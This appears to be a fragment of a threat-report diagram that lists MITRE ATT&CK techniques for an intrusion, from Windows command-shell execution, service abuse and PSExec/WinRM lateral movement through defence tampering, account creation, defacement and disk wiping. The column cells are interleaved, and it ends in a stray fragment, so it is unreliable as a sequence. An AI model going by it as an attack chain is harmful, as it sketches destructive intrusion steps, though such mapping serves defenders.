and Scripting Modify Modify Transfer
Interpreter: System System
Windows Process: Process:
Command Windows Windows
Shell Service Service
T1569 T1021 T1491
System PSExec, Defacement
Services SMB, winrm,
psremoting
T1561
Disk Wipe
T1053 T1053 T1562.001
Scheduled Scheduled Impair
Task/Job Task/Job Defenses:
Disable or
Modify Tools
T1136.002
Creat user
VY axio
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